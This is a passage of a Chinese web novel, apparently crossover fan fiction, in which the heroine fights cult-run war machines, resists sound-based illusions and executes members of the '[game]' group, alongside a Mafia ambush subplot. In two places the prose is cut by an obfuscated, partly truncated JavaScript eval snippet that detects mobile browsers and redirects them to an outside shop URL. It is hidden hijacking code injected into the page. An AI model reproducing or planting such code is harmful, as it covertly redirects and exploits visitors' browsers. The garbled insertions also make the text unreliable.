“什么都不明白的是你啊,菲奥娜。”伊凡·德维尔慈爱地说,“你被夜妖迷惑,以至不知归途……但什么也不用担心,‘神’会指引你,我们在‘觐神之所’等你。” 说完,他的投影便消失了。 “……随意对女眷出手是破坏Mafia规定的,”克里斯蒂娜语气沉重,“可他一点也不担心被我们看到脸。” 这说明伊凡·德维尔从一开始就没打算让她们活着离开,又或者他自信能一直切断她们与外界的联系。 “我更倾向于他是个了不起的白痴啦。”艾莎毫不掩饰地说。 德维尔寥寥几句就透露出不少信息。按照他的说法,‘觐神之所’似乎是某种重要的仪式,且等在那里的不止他一个。 她在【game】聊天室中看到的最高等级是8,可沢田与她都猜测存在更高的等级上限。等在‘觐神之所’的会是那些人么? 艾莎背着克里斯蒂娜走上高台。课桌上摆放着一张纸,上面的话仍然是用意大利语写成。 “神观看世界,见是败坏了。凡有血气的人,在地上都败坏了行为……神就对诺亚说,凡有血气的人,他的尽头已经来到我面前。因为地上满是他们的□□,我要把他们和地一并毁灭。” 克里斯蒂娜轻声读完了纸上的内容,“……这是《圣经》?” “是《创世纪》的内容。耶和华觉得自己创造的世界满是丑恶,于是决意用一场洪水彻底清洗。他嘱托诺亚建造方舟,使诺亚与他的家人能够逃避此灾。”艾莎道。 学院的混血种熟知各类宗教知识,但鲜少有人信教。因为他们相信龙族文明就隐藏在这些先人书写的神话当中——那些不可解的、含糊神秘的语句,代表着一段段湮灭了的历史。 “可这段话为什么出现在这里?”克里斯蒂娜疑惑道。 “德维尔刚刚也提到了方舟。《创世纪》中,凡是没有进入方舟的生灵都被淹死了,因为他们都是有罪的、丑恶的生物。那场洪水声势浩大,在地上共一百五十天。”艾莎顿了顿,“既然我们现在没有进入方舟,我猜他可能是想淹死我们。” 她话音刚落,礼堂的大门和窗户就被乍然落下的金属铁块层层封死了。头顶明亮的灯光闪烁两下,随即虚弱的沉寂下去。 一切重回黑暗,四道洪流从屋顶的四个角落倾泻下来。有水花飞溅到她们脸上,寒凉得像是死神轻声絮语。 “你是乌鸦嘴么!?”克里斯蒂娜无比震惊。 但她居然并不怎么恐惧。因为菲奥娜·怀特依然非常镇定——只要她还维持着这股镇定,克里斯蒂娜就感到世界上没有什么东西能够伤害到她们。 她把下巴轻轻搁在菲奥娜·怀特的肩膀上,并在心里祈祷这个有点像是依赖的动作不要被发现。 “哪里乌鸦嘴了我这是合理推断啦合理推断!”艾莎匆匆比了一下水流速度和礼堂大小,“唔,估计填满整个空间要15分钟到1个小时吧……” “这个估算区间是不是太大了!?”克里斯蒂娜的下巴一下离开了艾莎的肩膀。 “我是文科生嘛。不要对文科生的计算能力心怀期待……”艾莎挠头。 她心虚地补充道: “但是德维尔不是说这是一场‘考验’么?他总不能是在期待我们面临危机突然突破人类生理构造长出鱼鳃来什么的——天哪他不会是期待我们突然突破人类生理构造长出鱼鳃来吧!?我不擅长游泳啊——”她激烈挠头。 “——你这不是完全不靠谱么!?那个德维尔一看精神就不正常!万一他真是期待我们突然突破人类生理构造长出鱼鳃来那该怎么办啊!?”看到她崩溃克里斯蒂娜也崩溃了,她持续把脖子昂高。 “不不不不不不不可能。”艾莎一叠声地否定道。等到水没到高台一半高度的时候,屋顶上终于有一道道黑影挨个坠下。 “你看我说不可能吧。”艾莎的声音重回镇定。 她观察着面前的敌人们。 一共六个壮汉。他们戴着生化电影里经常出现的那种头套,头套底部插着三根意味不明的棒子。他们个个身形高大,目测在两米以上。 这些人沉默地站立在水中,像是在等待什么。 “Nephilim……” 凭借着出色的夜视能力,艾莎看到了印在距离最近的壮汉胸口的英文单词。 Nephilim,或者拿非利人,他们同样是《创世纪》中出现过的人种。因为身形高大,以色列人将他们称作远古巨人。 在《圣经》中,他们被看作是“堕落者”、是“人类日益增长的邪恶的一部分”,于是他们在那场末世洪水中尽数消亡。 “糟糕了……”克里斯蒂娜僵硬道,她似乎是认出了这些壮汉的身份。 艾莎一愣。 “这些东西、莫斯卡不是人——它们是战争时代被意大利禁止的军事武器,后来相关资料被Mafia收买研发——”克里斯蒂娜的声音充满恐惧。 “意大利研发——难道这就是传说中的那不勒斯披萨自动制造机?”艾莎严肃的和她一唱一和。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658784|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“才不是!那不勒斯披萨当然要纯手工了——不对!我的意思是这些是很恐怖的战争机器!没可能赢的!” 克里斯蒂娜又恐惧又想笑。长时间和菲奥娜·怀特待在一起,她觉得自己马上也要变成一个神经病了。 “……恕我直言,作为一个德国人我不是很信赖战争时代的意大利……”艾莎槽道,她继续观察这些沉默的机器,“你说它们叫‘莫斯卡’?可我在彭格列见过莫斯卡……比这些还要高一些,很明显就是机器的样子。” 沢田曾在舞会后向她提出实战训练的想法,后来授课时就使用过一种名叫“莫斯卡”的机器。 可不同于记忆中那台性能温和的机器,面前这些敌人乍一看更像身形异常高壮的人类。 即使沉默伫立,也隐约透露出一股令人不快的气息。 “彭格列的莫斯卡是经过技术部门改良的。这些恐怕是初版莫斯卡……当初之所以会被国家禁止,就是因为它们以人的生命能量作为驱动。”克里斯蒂娜暗暗咬牙,“纲吉先生曾明令禁止过初版莫斯卡的使用,它们早应该被销毁掉了才是!” “……你是说它们里面有人类?”艾莎皱眉。 水已经淹没到高台四分之三的位置。她注意到六个莫斯卡的头颅同时朝她们的方向轻轻移动,就像狙击手透过瞄准镜锁定目标。 “抓紧我。”艾莎低声嘱托蒂娜。她垂下手,两柄短刀悄然从袖中滑至手心。 下一秒,金属的巨人腾空而起。 莫斯卡的外形无比笨重,很难想象它们能以如此轻盈的姿态接近目标。最远的莫斯卡距离艾莎足有百米,然而不过眨眼之间,它们就已经近在咫尺。 先前它们站的极其分散,可那并不是为了排兵布阵,而是为了最高效率的从四面八方封锁住艾莎的行动! 艾莎不可能在水面上战斗,因此可用的战场只剩下这小片高台。 猎物已被逼至墙角,身后退无可退,身前进无可进。 火光在莫斯卡指间闪动。每一台莫斯卡都配有666枚追尾导弹,这是魔鬼的代号,设计者希望面对莫斯卡的人会像面对魔鬼那样恐惧溃散。 然而这些巨人无法瞄准,因为艾莎突然从他们的视野中消失了。莫斯卡腾空的同时,她同样高高跳起! 机器的重新瞄准只需要半秒不到,可也就是这半秒不到的空隙,艾莎已经落在离她最近的莫斯卡背上。 她的身姿如蝶,却又带着山一般的压力。湛青色的刀光闪动数下,金属的巨人被卸去四肢,锵然坠入水中。 导弹射出,可它们没有命中目标,只是炸起更多水花。 水花阻挡不了机器的视野,它们继续依据程序瞄准,艾莎已经出现在另一台莫斯卡身后。 同样的事再次发生。导弹只是无意义的引发火光与震动,又一台莫斯卡猝然陨落。 伊凡·德维尔不理解《圣经》,所以才会错误的把莫斯卡这种机器称作“Nephilim”。 拿非利人生存于人神交合的时代,《创世纪》中提到他们,说“神的儿子们看见人的女子美貌,就随意挑选,娶来为妻。” 凡是不可解的神话,皆藏着龙族文明的影子。 在那个龙与人类共生的时代,人类贪图龙的强大与美丽,于是以“进贡”的名义,强令人类女子与龙族交合。 她们用过于脆弱的躯体孕育过于强大的东西,因此很难活到孩子降生以后。 又因为孕育的东西过于危险,她们被关在暗无天日的囚笼或者地牢里,终日嘶吼挣扎,眼睁睁看着自己的肚子被新生命慢慢撑大到透明,被搅烂被撑破被毁灭。 至此以后,危险的新生儿被直接用长矛处死;可控温顺的那一批被留存和培养。 远古的人们用隐晦的笔调记述这段历史: “——神的儿子们和人的女子交合生子,从那时起地上有了拿非利人;他们是上古英武有名的人。” 这就是混血种最初的故事。肮脏。血腥。令人作呕。 他们才是被强行制造出的……战争机器! 火光盈天,艾莎又一次轻盈落下。她的每一次起落都掀起一场金属的风暴,长发被气流吹得狂舞,冰蓝色的眼睛平静而锋利。 ——水波滚动,刀影缭乱! 26. 第26章 幻象 艾莎将第6个人从莫斯卡的残骸中拖出,并排放置在高台上。 这6个人都被套在拘束服里,呈深度昏迷状态。平均年龄在60岁上下,白发凌乱,透露出一股子的遇人不淑晚景凄凉。 “这些人……”克里斯蒂娜面露犹疑。她刚刚从比过山车还刺激一百来倍的惊险瞬移中缓过劲来,终于能再次清晰地看见东西。 “认识么?” “不,只是觉得不太像是【game】的人。”与那个在地下室里挥舞着猎刀的变态不同,这些人怎么看都更像是受害者。 “…既然被称作‘拿非利人’,从德维尔的角度来说,他们大概是丑恶的、必须被消灭的存在。”艾莎停顿一下,“不过也不一定就不是【game】的人,或许是违反了什么规则。” “那……要杀掉么?”克里斯蒂娜低声问道。 艾莎心想这思维模式不愧是Mafia,和日本分部看到人质就想浇成水泥柱子简直异曲同工。 “这种情况没必要补刀啦,反正都失去行动能力了。” 她割开拘束服上的皮带,但没有把衣服也脱下来。拘束服至少能提供不错的保暖功能。 想了想,她又留下一些水和食物。 “继续往前吧。”艾莎望向位于高台后方的漆黑小门。 这扇门是在最后一台莫斯卡被击落的瞬间突然出现的。 当时水流骤停,伴随着轻快的乐声,四个彩球同时在屋顶爆开。洒着金粉的彩带雨一般落下,就像庆祝游戏通关。 推开门后什么东西也看不到。艾莎试探着往里面丢了两个照明弹,照出来是惨白单调的地砖和微微倾斜的墙面,没有其它机关。 “你有没有闻到什么味道?”克里斯蒂娜轻轻嗅嗅,空气中似乎飘来一股香甜的气味。 “嗯,是□□物的味道。”艾莎冷静地阖上了门。 “什、什么!?” 克里斯蒂娜立即惊恐地向外喷气。 “刚刚那么几秒钟不要紧的,但长时间吸入大概不行。”艾莎道,“这也不是什么新鲜事,很多宗教仪式上都会用到□□物。有人吸食后神志癫狂,会感觉到神在和自己直接对话什么的……然后就被忽悠的信教咯。” 看她一副还想再举几个例子的样子,克里斯蒂娜及时打断道:“这种时候不科普也不要紧!” 反正现在一提到‘神’脑子里就会自动浮现出伊凡·德维尔那张扭曲的脸。克里斯蒂娜敢肯定自己以后会当一辈子的无神论者。 “你刚刚说不能长时间吸入……那我们岂不是没法往前了?”她紧锁眉头。 “原本是这样没错。”艾莎点点头,“——但谁让我带了超强力手电筒和防毒面具呢。” 她轻快地打个响指,然后就像变魔术一样从卫衣里挨个掏出了齐全设备。 克里斯蒂娜:“……” 虽然不想承认、虽然是不想承认没错。 她认命地卸了口气。 ——但是可恶啊,和菲奥娜·怀特这个女人待在一起什么的真是好离谱又好安心。 -- 手电筒发出强力光束,前方50米的视野一览无余。 两侧是光秃秃的白色墙壁,凸起部分呈对称结构,鳞次栉比的向外铺展开去。 “虽然幻术能将虚拟与现实进行转换,但本质仍需依存现实。你们学校有这种地方存在么?”艾莎问道。 克里斯蒂娜犹豫一下:“看布局有点像顶楼的展览馆,但是展馆空间没这么大。” 为了最大程度展示圣贝罗女子学校的教学精神(把贵小姐们教导为守贞、顺从和隐忍的‘优秀’女性),顶楼的展馆总是布满鲜花和其它美好的装饰。 墙壁上的凸起部分就是天然的展板,上面贴满了圣贝罗的历史、成就、以及优秀毕业生(优秀指她们都嫁了个好人家)。 可一旦没了这些光辉的东西,她才发现惨白的墙面原来这样单调,就好像无数只苍白的手冰冷地堆叠在一起。 她们已经走了十几分钟,这十几分钟里什么也没有发生。明明正常来讲她们已可以把展馆逛个来回了,然而通路还是寂静的向前延伸,不知道什么时候才能走到尽头。 克里斯蒂娜很讨厌这种寂静。就好像恐怖片里最恐怖的永远不是鬼的正脸,而是主角一个人作死走在那种有很多拐角的地方。你永远不知道下一秒鬼会从哪个角落突然蹦出来,只好永远提心吊胆捂着屏幕不敢看下去。 “德维尔说会等在‘觐神之所’。”艾莎随口道,“这么说来,这里就是通往‘天国的阶梯’了。” “可‘天国的阶梯’上会有什么呢?” “不知道,理论上应该是天使什么的吧。”艾莎半开玩笑地说,“你们Mafia有做过什么长着翅膀的兵器么?” “没、没有吧?”克里斯蒂娜先是竭力回忆一阵,等听到艾莎的轻笑声,她才意识到自己是被耍了。 “喂——”她正待表达抗议,艾莎的脚步却在这时停下了。 “怎么?”克里斯蒂娜立即紧张道。 “……看那儿。”艾莎用手电筒照着凸起墙面的某一个角,白色的表面正慢慢旋开,一只巴掌大的小型机器缓缓探出头来。 “这是……什么东西?”克里斯蒂娜一愣。比起先前那六台莫斯卡,这只小型机器显然上不了台面。 可看菲奥娜·怀特的样子,她反而不像面对莫斯卡时那样轻松。 轻快的交响乐响起。声音是从那只小型机器里传出的,可也不单单是从那只机器!细微的震动不断由远及近,并在空气中汇聚成某种无形的压力。 艾莎用手电筒扫视一周,现在每一块凸起的白色墙面上都多出了一只一模一样的小型音箱。 她试着朝其中的某一只扣动扳机。然而就像先前的玻璃窗一样,音箱还未坠地,就已经再次恢复原状。 “这也是幻觉?”克里斯蒂娜讶然。 “……大概是以声音为媒介的精神攻击。”艾莎道,“这里面一定有一些音箱是真实存在的,只不过是被藏起来了。” 可这里总共有多少音箱?几十个、还是几百个? 克里斯蒂娜面色苍白。 “没事。”艾莎安慰她,“看不出来就全部破坏一遍,总能搞到真的。” “可万一全部破坏完之前我们就双双中招了怎么办!?” “理论上是不至于啦。我动作会快一点,”艾莎挠挠脸,“你抓紧我。” 又、又是抓紧。 闻言,克里斯蒂娜赶紧面色惨白地搂住艾莎。紧接着她感觉自己再次飞了起来,胃被勾到嗓子眼,两颊被风刮得生疼。 -- ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658785|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在授课时,沢田曾向艾莎仔细解释过幻术的原理。这种术法与雾属性火焰存在密不可分的关系,可有时又并不依凭火焰存在。 “幻术本质上是一种精神攻击。它的可怕之处在于其难以防备。”当时的沢田已经完全掌握了艾莎的节奏,看她眼睛一亮就知道她想说什么,“——确实,它和Naruto里的幻术有异曲同工的地方,譬如术士能够通过某些不经意的动作、眼神来制造幻觉。此外,还有可能通过图片或者药物。” 沢田顿了顿,又道:“比较特殊一点的大概是声音。声音是无形的载体,有时却能达到非常恐怖的效果。” 当时艾莎就联想到了学院的入学考试。混血种会对龙族文字产生精神共鸣,且血统越高共鸣越强烈。因此学院会将言灵的咏唱掩藏在重金属音乐之中,并以此确认学生的血统等级。 这种精神共鸣又被称作“灵视”。每一届的入学考试都是大型发疯现场,流淌在血液里的记忆随着言灵复苏,新生们会因为精神共鸣看到自己内心深处最在意的东西。 而现在展馆里的幻术同样是借助声音。然而和学院借用摇滚乐来隐藏言灵咏唱不同,机器播送的交响乐似乎自带某种奇妙的韵律。 眼前渐渐扭曲。艾莎好像又回到了很小的时候,女人蹲下.身,一边和她说着什么一边用力地掰开了她的手。 “幻术的根本目的是动摇人的神志。人一旦陷入精神恍惚的状态,便会失去防备。所以面对幻象,既不能沉湎过深,也不能流露出太多感情,否则术士会顺着裂缝钻进你的脑子。”沢田纲吉冷静的阐述声在她脑海中响起来。 耳边也有声音……是哭声,是克里斯蒂娜在哭么? “你也看到幻象了么?”艾莎低声问。 “……嗯。”克里斯蒂娜边抽泣边紧紧搂住了艾莎,“你也看到了么?” “我看到我妈妈了。她看上去挺伤心的,”艾莎说,“和我想象中不太一样。” 她的语气就像闲聊,手上动作也没停下。但凡她们所经过的地方,白色的音箱都被利落的一刀切碎。 幻象会被及时补充,可恍惚间克里斯蒂娜已经听到好几声物件坠地的声音。 “……现在又变成校长了。”艾莎平淡地补充道,“哦,校长就是收养我的人。” “……你都不难过么?”克里斯蒂娜哽咽得咳嗽起来。她似乎已经意识到艾莎才是所有幻象里唯一真实的存在,所以强撑着精神继续和她说话。尽管她自己也不知道自己在问些什么。 “有什么好难过的。” 狭窄的甬道卷起长风般的火焰,鼻子又能嗅到血肉被烧焦的味道。那个噩梦般的尼伯龙根好像又回来找她了——又或者她其实从未真正离开过。 艾莎嘴里就像咬着一块冷硬的钢铁。 “同样的画面……我又不是没想过。” 什么画面、她养父离开时的画面么?克里斯蒂娜迷迷糊糊地想着。菲奥娜·怀特的声音听上去真平静啊……爱德华多说收养她的人年龄已经很大了,最后他是生病了么? “幻术的施展需要依凭媒介。如果是声音这样无形的东西,则先摧毁其载体。”印象中,沢田纲吉的声音总是那么温和冷静。这很好,现在她最需要的就是冷静。 刀光闪过。这次白色墙面被整个切割粉碎。 27. 第27章 血统契 “她为什么一直戴着面具,我看不清她的脸!这样我就看不清她的脸了!” 显示屏定格在女孩破坏最后一台音箱的瞬间。伊凡·德维尔神经质的将画面放大再放大,然而也只能做到把清晰的防毒面具变成模糊色块的程度而已。 “现在要怎么办才好——Doctor!” 他愤怒地调转轮椅,冲一直静静站在身边的人发出质问。 “我主,”被称作Doctor的男人立即诚惶诚恐地低下了头,“神迹是不会被区区一个面具阻隔的……这个女孩恐怕不是神的奴仆。” “怎么可能!难道你没有看到么,那样的力量、那样的力量!不会错的、她是我的东西——她就是我的东西!” 伊凡·德维尔一把抄起桌上的烛台朝Doctor投掷过去。明明自比为神,此刻他的动作却更像个无理取闹的孩子。 Doctor不闪不避。烛台穿过他的身体,在地上摔个粉碎——与先前德维尔出现在礼堂的方式一样,他竟然也只是全息投影而已。 “也许是‘圣乐’的力量还不足以唤醒她。”Doctor从善如流地改口,“我主,您为什么不尝试更加直接的方式呢?” 伊凡·德维尔剧烈的呼吸稍缓,“什么更直接的方式?” “比如……向菲奥娜小姐展现先例。”Doctor低声诱劝,“假使看到其他奴仆的觉醒过程,想必菲奥娜小姐一定会领悟到我主的深意,转而侍奉我主。” “你说的对!”伊凡·德维尔眼前一亮。他下意识抬了一下手,很快又讪讪放下,“Doctor,为我操作!你有我的授权。” 他恶声恶气地下令。得到命令后,Doctor恭敬的深鞠一躬:“当然,我主。一切如您所愿。” Doctor在虚空中点触数下。女孩所在的空间立即浮现出无数光影,就好像一台投影机突然打开。 【game】公开的视频只有三段,可事实上每一场游戏过程都被录制了下来。 现在,这些未曾示人的画面爬满了整间屋子——地上、墙上、天花板上、乃至于女孩自己身上,密密麻麻,惊心动魄。 菲奥娜像是看得入了神。没一会儿,她就自己主动摘下了防毒面具。 见状,伊凡·德维尔发出一声闷在喉咙里的笑。他再度放大显示屏上的画面,贪婪地注视着她的脸。 然而很快,他脸上的笑意又消失了。 “没有反应、她还是没有反应!”伊凡·德维尔陷入暴怒,他还想砸点什么宣泄怒火,可是桌子上已经没有他拿得动的东西了。 “我主,”Doctor痛心疾首道,“看来菲奥娜果真不是神的奴仆——看来她是欺骗了您啊!” 伊凡·德维尔不说话了。Doctor垂手等待着他下达指令。 一时间,房间只剩下‘神’剧烈而愤怒的喘息。 “……那么就把‘迎接’改为‘审判’吧,”伊凡·德维尔冷酷地说,“——审判菲奥娜·怀特欺骗神的罪行!” “当然、当然。”Doctor谄媚地说,“可惜我不在‘觐神之所’,无法得见神之忿怒。” “你只需要做好分内的事就可以。看顾好雅纪。”说完,伊凡·德维尔操纵着轮椅离开了房间。大概是平时没什么自己动手的经验,他不怎么熟练,行动间透露出一股滑稽。 直到伊凡·德维尔的背影彻底消失,Doctor才重新直起了身。 “可怜啊……” 他发出一声意味不明的轻叹,转而继续凝视着正中的屏幕。 这里的每一个视频都经过了Doctor的精心选择。他甚至可以做到精准读秒,预判最高潮的那个瞬间。 【game】组织的游戏并不是为了残忍而残忍。只是有时候人只有被逼到绝境,才会爆发出非比寻常的力量。 所以其实也不存在什么最后的考验。只要“领悟”,只要“觉醒”,即使是第一场游戏也能打开通往‘觐神之所’的道路。 快到时间了。Doctor在心中默默倒数。 或者受到音乐和药物的刺激,或者是在屠杀中途豁然开朗,视频中的“玩家”们交叠着一齐阖上了眼眸。 紧接着,一双双淡金色的眼睛在虚空中欣喜地睁开了。 地上、墙上、天花板上……它们注视着菲奥娜,同时又攀上她的身体、浸润她的皮肤。 这幅景象带着种艳诡的美。Doctor发出了由衷的赞叹声。 菲奥娜像是被这些眼睛钉死了在原地。 她的表情既不愤怒也不恐惧,只是沉默地看着。那些血腥暗沉的画面笼罩住她,好似为她披上了一件斑斓的尸衣。 -- 幻象所造成的影响尚未完全消失。艾莎眼前还有那个尼伯龙根,被召唤而来的死侍遮天蔽日,黑色的皇帝端坐于山巅,吼叫声震耳欲聋。 身边的人一个接一个倒下了,有些是她的老师她的同学,有些素未谋面、直到昨天才打过第一声招呼。 他们的尸体顺着山势一路滚落,又在冻结的海面上摔成残破的血花。 不得不战。生命的消逝不值一提。 与此同时,视频里的景象逐渐爬进她的眼睛里。 玩家争先恐后地追逐着同一个目标,他们一刀一刀剁碎了输家的四肢,指着飞溅在彼此脸上的血沫发出无声而畅快的笑;猎物被尽情地玩弄撕扯。他们先给人以逃出生天的错觉,又在希望来临的前一刻一.枪.崩碎猎物的脑壳。 音箱已被全部破坏,画面只是死寂的往复循环,没有发出一丝一毫的声音。 在这种静默之下,暴力与恶被无限放大。哭嚎和哀求统统是无声的,死亡也是无声的,生命的消逝同样不值一提。 ……记忆里那一双双不甘的、逐渐涣散暗沉熄灭凋零的黄金瞳。 还有眼前这一双双沉浸在无谓杀戮之中、被喜悦与渴望所点燃的淡金色眼睛。 “这种时候应该生气吧……?”艾莎低喃道。她的声音那样轻,就像是在问那些已经不复存在的人。 但她并没有流露出任何愤怒,只是眼底飞快地掠过一丝茫然。 “菲……?”因为恐惧,克里斯蒂娜的身体颤抖起来。 “……没事。”艾莎低声安抚她,“继续闭着眼睛,直到我说可以为止都不要睁开。” 她才十八岁不到的年纪,不必知道这个世界究竟可以残酷到怎样的地步。 可是这些人……这些人最好全部都在‘觐神之所’里。 投影机折射出的光芒将艾莎模糊成一道幽蓝色的影子。她继续向前迈进,像一只沉默的鬼。 -- ‘觐神之所’是像歌剧院那样的二层结构。伊凡·德维尔坐在二层正中的位置,身边环绕着一群‘玩家’。 艾莎出现的时候,人群中发出嬉笑声。他们眼中的恶意有如实质,舌头一般黏腻地吞吐她。 “菲奥娜·怀特!现在开始审判你的罪行!”等她走到舞台正中,德维尔居高临下地说道。 在礼堂时他的态度还十分亲热,可是现在却好像完全丧失了对她的兴趣。 “哦,我没有通过‘神’的考验么?”艾莎平淡道。 “你妄图欺骗‘神’!”德维尔朗声道,“可你低估了‘神’的力量,神之眼注视着一切——唯有继承神血的人,才配站在‘神’的身侧。” “哦,”艾莎还是一样的态度,“神血是说视频里那帮带着金色美瞳的骗子么?” 比起尊敬和恐惧,她更像是把他们当成了什么传.销组织。这种不屑一顾的姿态激怒了德维尔。 “无知、何其无知啊……”德维尔轻轻摇晃着脑袋。他抬起手,‘玩家’们立即安静下来。 “——那就让你亲眼见证神迹吧。” 听到他的吩咐,二层的所有人都闭上了眼睛。 再睁开的时候,一双双金色的眼瞳刺破了黑暗。 不是死侍,而是龙血比例极低的混血种。艾莎默默判断道。 他们的站位同时也象征着血统的高低,站在两端的人仅仅维持了几秒钟的黄金瞳就已显露出疲态。 这样的混血种原本一生都不会和龙族文明扯上任何关系。 然而此刻,即使是站在最两端的玩家也展露出一种嗜血的疯狂,叫人联想起邪恶狰狞的野兽。 艾莎慢慢看了一圈,她刻意避开 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“菲奥娜,你不明白神血是怎么伟大的东西,所以才敢对‘神’如此不敬。”德维尔漫声念诵,“‘这必朽坏的总要变成不朽坏的;这必死的总要变成不死的……’” 他说的是《圣经》里关于耶稣复活的意义。被钉死在十字架上后,耶稣的尸体被摆放在某个墓室,并于三天后不翼而飞。后来有天使降临,表示耶稣已经复活——将来所有信他的人也要这样复活,得享永生。 所以他的意思是相信神血可以起死回生么? “真想让教皇也听听你的高见,想必整个梵蒂冈都会彻夜难眠。”艾莎嘲讽道,“——这些年你们杀了多少人。怎么,《圣经》里没有告诉你要热爱生命么?” “人?”二层的人都笑起来,“和我们相比,你们不过是卑贱的物种罢了!” “连爱情亲情都无法舍弃,怎配和我们相提并论?” “你会为杀死蚂蚁而感到难过么?” “……原来如此。”艾莎点点头,“最后一个问题,【game】全部的高等级玩家都在这里了么?” “听听,她说‘最后一个问题’。”德维尔模仿着艾莎的语气。二层的人又是一阵哄笑。 “审判开始前,就让‘神’回答你的‘最后一个问题吧’。”他怜悯地摇摇头,然后大张开手臂,“没错,神之奴仆已全数到此,此处总共六十三——” “人”字消弭在一声震耳欲聋的枪.响里。 “我还担心最后套话套得太明显了……对手没有脑子真是太好了。”艾莎随手把武器丢到一边。 德维尔的头无力地低垂下去。他额头正中一.枪,血液顺着脸部轮廓从下巴缓缓滴落。 其他人似乎陷入呆愣,其中一个戴着眼镜的玩家最先反应过来: “你、你杀了神!?” 他拿手指着艾莎,同时却不着痕迹地后退,把自己隐没在其余人身后。 “嗯。”艾莎还是点点头,“看起来好像没有复活的迹象啊,你们的‘神’。” 那把.枪.里装填的是假死弹,效用在五分钟左右。 作为幕后者,德维尔当然还不能死,只是他也不能看到接下来的战斗。 所有人都掏出了武器——德维尔毕竟是Mafia出身,给他最衷爱的‘奴仆’们慷慨配置了最精良的装备。 当然,比起武装,更可怕的还是这些混血种本身。他们是那种真正享受杀戮的人,被龙血强化过的身体强度远超常人数倍,每一寸经脉与肌肉间都伏藏着力量。 凭借本能,他们再次点燃了自己的血统。一双双散发出淡金色光芒的瞳孔牢牢锁定住台下的女人——以往他们也做过类似的戏弄猎物的事——仅凭凝视,他们就可以直接压垮她的精神。 可女人居然无动于衷!她怎么能毫无反应——她本该恐惧得直接跪下来! “依照《亚伯拉罕血统契》,”艾莎把刀鞘甩到一边。她的语气很平淡,是公事公办的那种态度。 “——你们全员,由我就地处决。” 28. 第28章 戮与心 (上) PM8:09 洛克家族的首领今年55岁,正好处在一个男人最固执的年纪里。 他看不惯小一辈的任何事。彭格列那个新继任的年轻首领尤其让他不顺眼。 作为统领西西里岛最强大家族的首领,这个彬彬有礼的东洋男人显得过分文弱。比起Mafia,他更像那种专门讨女人欢心的小白脸。 可也就是这个大部分时间都温和到温吞的家伙,居然仅凭一次交锋就叫洛克家族损失了将近一半的地盘。 这样的耻辱,叫他怎么心平气和地咽下去!? 想到这里,洛克家族首领心中的酸水直冲脑门。他不动声色地看一眼手表,还有一分钟时间。一分钟后,里世界的规则将会彻底改变。 坐在对面的沢田纲吉对即将发生的一切恍若未觉。他只是翻阅着洛克家族准备的假合约,眼帘低垂,看上去十分专注。 30秒,15秒,5秒……洛克家族的首领屏住了呼吸。他在不期然间与沢田对上视线——后者神色如常,却又好像已经看穿了一切。 门被粗暴地推开,二十多个黑衣人闯进了房间。 这是洛克早早就埋伏好的。除了这些人以外,洛克家族半数以上的精英已把这栋用于谈判的会所团团围住。 今天原本就不会有什么谈判,一切只是为了伏杀彭格列Ⅹ世而已! 看到部下成功将沢田围在正中,洛克却连高兴放松的时间都没有。 Mafia的多年经验告诉他有哪里不对——彭格列的姿态过于从容不迫了,这根本不是处于下风者会有的样子。 沢田纲吉还是静静地坐在那里。 在他身后,所有黑衣人都将手伸进西服左胸处。 然后他们掏出武器,整齐划一地指向了——洛克本人。 局势在顷刻间逆转。洛克额角流下冷汗,他意识到自己犯了什么巨大的错误。 黑衣人身上有靛色火焰凭空卷起,爱德华多出现并捍卫在沢田身侧。 “Boss,外面的人都处理干净了。”他先是恭敬地微微俯身,而后又瞥一眼还在硬撑的洛克,“连同远处的两名狙击手一起。” 沢田点点头,他平静地看向面色惨白的洛克家族首领,“洛克,在谈判中途布置暗杀是违反规矩的。” 洛克想发出一声嗤笑,但最终却只挤出一个滑稽的表情: “彭格列,你早知道了是不是?你早知道我想杀你,所以干脆将计就计——然后把我的家族势力一网打尽,是不是?” 沢田纲吉不置可否。 “但我还没输……”洛克喃喃道,他低头遮掩住眼底厉色,“只要我还活着——就还不算输!” 话未尽,他已点燃火焰,直向着沢田冲了过去! PM8:11 艾莎将扑上来的敌人重新推了回去。 按道理这个两百来斤的壮汉能够直接把她撞飞。但为了弥补这种体格上的差距。她曾在武术课上选修过太极。 这种中国武术讲究以柔克刚,壮汉面对她就像山面对流水那样无力。 他的后退同时压制了四个在后方伺机而动的混血种。趁着这个空档,艾莎一把抄起插在地板上的双刀。 两道寒光交替闪过,血如泼墨,五颗头颅飞溅出去。 二层的‘玩家’已经意识到她不是可以简单解决的敌人,因此进攻态势愈发猛烈。 艾莎带着的枪.械弹药已全部用完,来不及装填新的,两柄短刀在对面的人海战术下亦显现不出优势。 但是没有关系,敌人恰好全副武装。他们的武器就是她的武器。 有人手持长.枪从二楼凌空跃下,但下一秒就被卸下兵器踹飞出去。 另外两名玩家被解决时,那个人还没来得及顺着墙壁滑落。艾莎旋即回身掷出长.枪,武器穿透颅骨,把他钉死在3米多高的地方。 她在杀人途径上并无任何偏好,仅仅考虑怎样将每样兵刃最直接的送入人体的致命位置。 这本就是学院执行部的行事风格——简单,暴力,高效。 这些玩家自诩为最凶恶的杀手,殊不知他们以前只是倚仗着血统与武装恃强凌弱。 在真正的专家面前,他们挥舞刀剑的样子就像孩子般孱弱。 